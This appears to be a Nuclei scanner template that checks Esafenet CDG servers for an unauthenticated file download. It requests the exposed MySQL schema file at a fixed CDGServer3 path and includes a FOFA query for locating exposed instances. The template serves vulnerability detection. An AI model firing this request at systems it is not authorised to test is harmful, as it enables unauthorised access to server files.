id: esafenet-mysql-fileread

info:
  name: Esafenet CDG mysql - File Read
  author: DhiyaneshDk
  severity: high
  description: |
    CDGServer3 Unauthorized File Download vulnerability is detected.
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="电子文档安全管理系统"
    product: electronic_document_security_management_system
    vendor: esafenet
  tags: esafenet,lfi,mysql,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/CDGServer3/SQL/MYSQL/create_SmartSec_mysql.sql"

    max-size: 1000
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "varchar"
          - "create table"
        condition: and

      - type: word
        part: header
        words:
          - "application/x-sql"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b43baae09a4edd4d96a02b49ed689319c48e90e90fab79a8db27699af6c3e3ca0221008d21052a0ad7f16ef9bd291fef40c77c6e2deb4dc2099e3c7365fc3290ec9ab0:922c64590222798bb761d5b6d8e72950